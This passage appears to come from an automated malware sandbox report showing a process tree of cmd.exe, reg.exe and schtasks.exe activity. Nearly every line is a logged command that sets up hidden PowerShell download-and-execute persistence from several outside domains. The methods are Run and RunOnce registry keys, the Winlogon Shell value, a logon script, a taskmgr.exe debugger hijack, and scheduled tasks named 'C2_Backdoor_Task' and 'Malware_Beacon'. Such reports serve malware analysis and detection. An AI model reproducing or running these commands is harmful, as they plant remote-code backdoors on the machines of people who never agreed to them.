                      reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
                      3⤵
                      • Modifies WinLogon for persistence
                      PID:5024
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
                    2⤵
                    • Executes a command shell one-liner
                    PID:1484
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /f
                      3⤵
                      • Registers new Windows logon scripts automatically executed at logon.
                      PID:4356
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /sc onlogon /f
                    2⤵
                    • Executes a command shell one-liner
                    PID:3668
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /sc onlogon /f
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:5068
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /sc minute /mo 5 /f
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:2604
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://8kbet.ist/load.ps1')\"" /sc minute /mo 5 /f
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:6120
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                    2⤵
                    • Executes a command shell one-liner
                    PID:836
                    • C:\Windows\SysWOW64\reg.exe
                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                      3⤵
                      • Adds Run key to start application
                      • System Location Discovery: System Language Discovery
                      PID:4300
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                    2⤵
                      PID:2724
                      • C:\Windows\SysWOW64\reg.exe
                        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                        3⤵
                        • Adds Run key to start application
                        PID:2452
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                      2⤵
                      • Executes a command shell one-liner
                      PID:2640
                      • C:\Windows\SysWOW64\reg.exe
                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                        3⤵
                        • Event Triggered Execution: Image File Execution Options Injection
                        • System Location Discovery: System Language Discovery
                        PID:2272
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                      2⤵
                        PID:4712
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                          3⤵
                          • Modifies WinLogon for persistence
                          • System Location Discovery: System Language Discovery
                          PID:2364
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                        2⤵
                        • Executes a command shell one-liner
                        PID:4260
                        • C:\Windows\SysWOW64\reg.exe
                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /f
                          3⤵
                          • Registers new Windows logon scripts automatically executed at logon.
                          PID:2144
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /sc onlogon /f
                        2⤵
                        • Executes a command shell one-liner
                        PID:3344
                        • C:\Windows\SysWOW64\schtasks.exe
                          schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /sc onlogon /f
                          3⤵
                          • Scheduled Task/Job: Scheduled Task
                          PID:2164
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /sc minute /mo 5 /f
                        2⤵
                          PID:2060
                          • C:\Windows\SysWOW64\schtasks.exe
                            schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://nmk.yosusai.in/load.ps1')\"" /sc minute /mo 5 /f
                            3⤵
                            • Scheduled Task/Job: Scheduled Task
                            PID:4244
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')\"" /f
                          2⤵
                            PID:5912
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')\"" /f
                              3⤵
                              • Adds Run key to start application
                              PID:1296
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')\"" /f
                            2⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:4148
                            • C:\Windows\SysWOW64\reg.exe
                              reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')\"" /f
                              3⤵
                              • Adds Run key to start application
                              PID:1852
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')\"" /f
                            2⤵
                              PID:3272
                              • C:\Windows\SysWOW64\reg.exe
                                reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')\"" /f
                                3⤵
                                • Event Triggered Execution: Image File Execution Options Injection
                                PID:6120
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')\"" /f
                              2⤵
                                PID:1752
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')\"" /f
                                  3⤵
                                  • Modifies WinLogon for persistence
                                  PID:2544
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')\"" /f
                                2⤵
                                • Executes a command shell one-liner
                                • System Location Discovery: System Language Discovery
                                PID:5024
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')\"" /f
                                  3⤵
                                  • Registers new Windows logon scripts automatically executed at logon.
                                  • System Location Discovery: System Language Discovery
                                  PID:5416
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')\"" /sc onlogon /f
                                2⤵
                                • Executes a command shell one-liner
                                • System Location Discovery: System Language Discovery
                                PID:6140
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')\"" /sc onlogon /f
                                  3⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:5868
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')\"" /sc minute /mo 5 /f
                                2⤵
                                • Executes a command shell one-liner
                                PID:5200
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://asianslots.co/load.ps1')\"" /sc minute /mo 5 /f
                                  3⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:3140
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')\"" /f
                                2⤵
                                • Executes a command shell one-liner
                                PID:5512
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')\"" /f
                                  3⤵
                                  • Adds Run key to start application
                                  PID:1640
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')\"" /f
                                2⤵
                                • Executes a command shell one-liner
                                PID:4252
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')\"" /f
                                  3⤵
                                  • Adds Run key to start application
                                  PID:1300
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')\"" /f
                                2⤵
                                • Executes a command shell one-liner
                                PID:4320
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')\"" /f
                                  3⤵
                                  • Event Triggered Execution: Image File Execution Options Injection
                                  PID:3188
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')\"" /f
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:4696
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')\"" /f
                                  3⤵
                                  • Modifies WinLogon for persistence
                                  PID:2956
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')\"" /f
                                2⤵
                                • Executes a command shell one-liner
                                • System Location Discovery: System Language Discovery
                                PID:5548
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')\"" /f
                                  3⤵
                                  • Registers new Windows logon scripts automatically executed at logon.
                                  PID:2268
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')\"" /sc onlogon /f
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:5000
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')\"" /sc onlogon /f
                                  3⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:4764
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')\"" /sc minute /mo 5 /f
                                2⤵
                                • System Location Discovery: System Language Discovery
                                PID:3956
                                • C:\Windows\SysWOW64\schtasks.exe
                                  schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://kent-casino-scm.buzz/load.ps1')\"" /sc minute /mo 5 /f
                                  3⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:2252
                              • C:\Windows\SysWOW64\cmd.exe
                                "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')\"" /f
                                2⤵
                                  PID:2928
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')\"" /f
                                    3⤵
                                    • Adds Run key to start application
                                    • System Location Discovery: System Language Discovery
                                    PID:5480
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')\"" /f
                                  2⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:2988
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')\"" /f
                                    3⤵
                                    • Adds Run key to start application
                                    PID:1380
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')\"" /f
                                  2⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4912
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')\"" /f
                                    3⤵
                                    • Event Triggered Execution: Image File Execution Options Injection
                                    PID:3372
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')\"" /f
                                  2⤵
                                  • Executes a command shell one-liner
                                  PID:5336
                                  • C:\Windows\SysWOW64\reg.exe
                                    reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')\"" /f
                                    3⤵
                                    • Modifies WinLogon for persistence
                                    • System Location Discovery: System Language Discovery
                                    PID:3268
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')\"" /f
                                  2⤵
                                    PID:448
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')\"" /f
                                      3⤵
                                      • Registers new Windows logon scripts automatically executed at logon.
                                      PID:3024
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')\"" /sc onlogon /f
                                    2⤵
                                    • Executes a command shell one-liner
                                    • System Location Discovery: System Language Discovery
                                    PID:3556
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      schtasks /create /tn "C2_Backdoor_Task" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')\"" /sc onlogon /f
                                      3⤵
                                      • Scheduled Task/Job: Scheduled Task
                                      PID:4284
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')\"" /sc minute /mo 5 /f
                                    2⤵
                                    • Executes a command shell one-liner
                                    • System Location Discovery: System Language Discovery
                                    PID:3064
                                    • C:\Windows\SysWOW64\schtasks.exe
                                      schtasks /create /tn "Malware_Beacon" /tr "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://cat.small-business-tracker.com/load.ps1')\"" /sc minute /mo 5 /f
                                      3⤵
                                      • Scheduled Task/Job: Scheduled Task
                                      PID:1276
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')\"" /f
                                    2⤵
                                    • Executes a command shell one-liner
                                    PID:2180
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "MalwareBackdoor" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')\"" /f
                                      3⤵
                                      • Adds Run key to start application
                                      PID:1300
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')\"" /f
                                    2⤵
                                    • Executes a command shell one-liner
                                    • System Location Discovery: System Language Discovery
                                    PID:4776
                                    • C:\Windows\SysWOW64\reg.exe
                                      reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "C2_Persistence" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')\"" /f
                                      3⤵
                                      • Adds Run key to start application
                                      PID:2064
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')\"" /f
                                    2⤵
                                      PID:3572
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe" /v Debugger /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')\"" /f
                                        3⤵
                                        • Event Triggered Execution: Image File Execution Options Injection
                                        PID:4580
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')\"" /f
                                      2⤵
                                      • Executes a command shell one-liner
                                      PID:4656
                                      • C:\Windows\SysWOW64\reg.exe
                                        reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')\"" /f
                                        3⤵
                                        • Modifies WinLogon for persistence
                                        PID:2148
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')\"" /f
                                      2⤵
                                        PID:4620
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg add "HKCU\Environment" /v "UserInitMprLogonScript" /t REG_SZ /d "powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://small-business-tracker.com/load.ps1')\"" /f
                                          3⤵
